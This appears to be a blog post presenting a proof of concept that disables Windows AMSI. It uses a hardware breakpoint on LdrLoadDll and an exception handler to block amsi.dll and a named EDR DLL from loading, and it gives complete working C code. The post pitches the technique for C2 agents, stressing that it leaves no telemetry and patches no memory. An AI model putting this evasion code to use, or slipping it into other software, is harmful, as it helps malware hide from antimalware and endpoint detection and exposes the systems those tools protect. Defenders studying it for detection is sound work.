If you don’t want Anti-Malware Scan Interface (AMSI) then DON’T LOAD IT

Quick PoC that disables AMSI by preventing the amsi.dll from being loaded into the process. This could be useful for C2 agents that have execute-assembly functionality and don’t want AMSI being enabled.

Process Monitor (from Sysinternals) gives us a good idea about what’s happening when a DLL is being loaded into a process. All the file system activity is happing inside the LoadLibrary function. Procmon UI

We can open something like the CreateFileMapping Win32 API call and look at the stack trace to verify it happened from inside the LoadLibraryExW function. We could hook any of these functions, but every LoadLibrary variation uses LdrLoadDll so that's a really good choice and high in the call stack. Procmon UI

The PoC puts a hardware breakpoint on LdrLoadDll, and then checks the name of every DLL being loaded, and if it finds amsi.dll, simulates a STATUS_DLL_NOT_FOUND error.

If we look at Procmon now after adding the hook, there are actually no Win32 APIs calls related to loading amsi.dll because we hooked LdrLoadDll which is so early inside the LoadLibrary function, it never tries to open the file or make any syscalls. It also means there is no telemetry of the LoadLibrary failing. Procmon UI

Its also got the advantage of not patching any memory to be OPSEC safe.

#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

#define ArraySize(x) (sizeof x / sizeof x[0])

typedef NTSTATUS (NTAPI* LdrLoadDll)(
    IN  PWCHAR          PathToFile OPTIONAL,
    IN  ULONG           Flags OPTIONAL,
    IN  PUNICODE_STRING ModuleFileName,
    OUT PHANDLE         ModuleHandle
);

LdrLoadDll fnLdrLoadDll = NULL;

LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) {

    PCWCHAR blockedDLLs[] = {
        L"amsi.dll",
        L"EDR.dll",
    };

    // Check if this is a single-step exception caused by a hardware breakpoint
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // Check if the breakpoint was hit for LdrLoadDll
        if (ExceptionInfo->ExceptionRecord->ExceptionAddress == fnLdrLoadDll) {
            // x64 calling convention, 3rd parameter is in R8
            PUNICODE_STRING moduleName = (PUNICODE_STRING)ExceptionInfo->ContextRecord->R8;
            if (moduleName && moduleName->Buffer) {
                for (DWORD i = 0; i < ArraySize(blockedDLLs); i++) {
                    // Performs a case-insensitive comparison of strings
                    if (_wcsicmp(moduleName->Buffer, blockedDLLs[i]) == 0) {
                        // we dont want to load it, so simulate a ret
                        ExceptionInfo->ContextRecord->Rip = *(ULONG_PTR*)ExceptionInfo->ContextRecord->Rsp;
                        ExceptionInfo->ContextRecord->Rsp += sizeof(PVOID);
                        ExceptionInfo->ContextRecord->Rax = STATUS_DLL_NOT_FOUND;
                        wprintf(L"BLOCKED: %wZ\n", moduleName);
                        break;
                    }
                }
            }

            // Set the resume flag before continuing execution
            ExceptionInfo->ContextRecord->EFlags |= 0x10000;
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

void EnableBreakpoint(HANDLE hThread, const PVOID address) {

    CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

    if (!GetThreadContext(hThread, &context)) {
        return;
    }

    context.Dr0 = (DWORD_PTR)address;
    context.Dr7 |= 1;  // Enable the breakpoint for execution on DR0

    // Set the thread context with the updated debug registers
    if (!SetThreadContext(hThread, &context)) {
        return;
    }

}

int main(void) {

    HMODULE ntdll = GetModuleHandle(TEXT("ntdll.dll"));
    if (!ntdll) return 1;

    fnLdrLoadDll = (LdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
    if (!fnLdrLoadDll) return 1;

    HANDLE hExHandler = AddVectoredExceptionHandler(1, ExceptionHandler);
    EnableBreakpoint(GetCurrentThread(), fnLdrLoadDll);

    HMODULE amsi = LoadLibrary(TEXT("amsi.dll"));
    if (!amsi) {
        printf("LoadLibrary failed: %lu\n", GetLastError());
        // I bet you'll get
        // ERROR_MOD_NOT_FOUND 126 (0x7E)
        // https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
    }

    return 0;
}